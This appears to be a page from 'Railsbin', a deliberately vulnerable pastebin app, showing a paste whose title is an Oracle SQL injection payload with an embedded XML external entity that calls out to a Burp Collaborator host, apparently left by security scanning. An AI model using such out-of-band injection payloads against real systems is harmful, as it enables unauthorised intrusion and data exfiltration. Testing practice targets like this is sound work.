Railsbin – The vulnerable pastebin service!

User:

Title: (select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % ugibm SYSTEM "http://4bgqkqk71td3xm90e6n42z23gumuaxypli97.burpcollab'||'orator.net/">%ugibm;]>'),'/l') from dual)

Content:

test

Edit | Back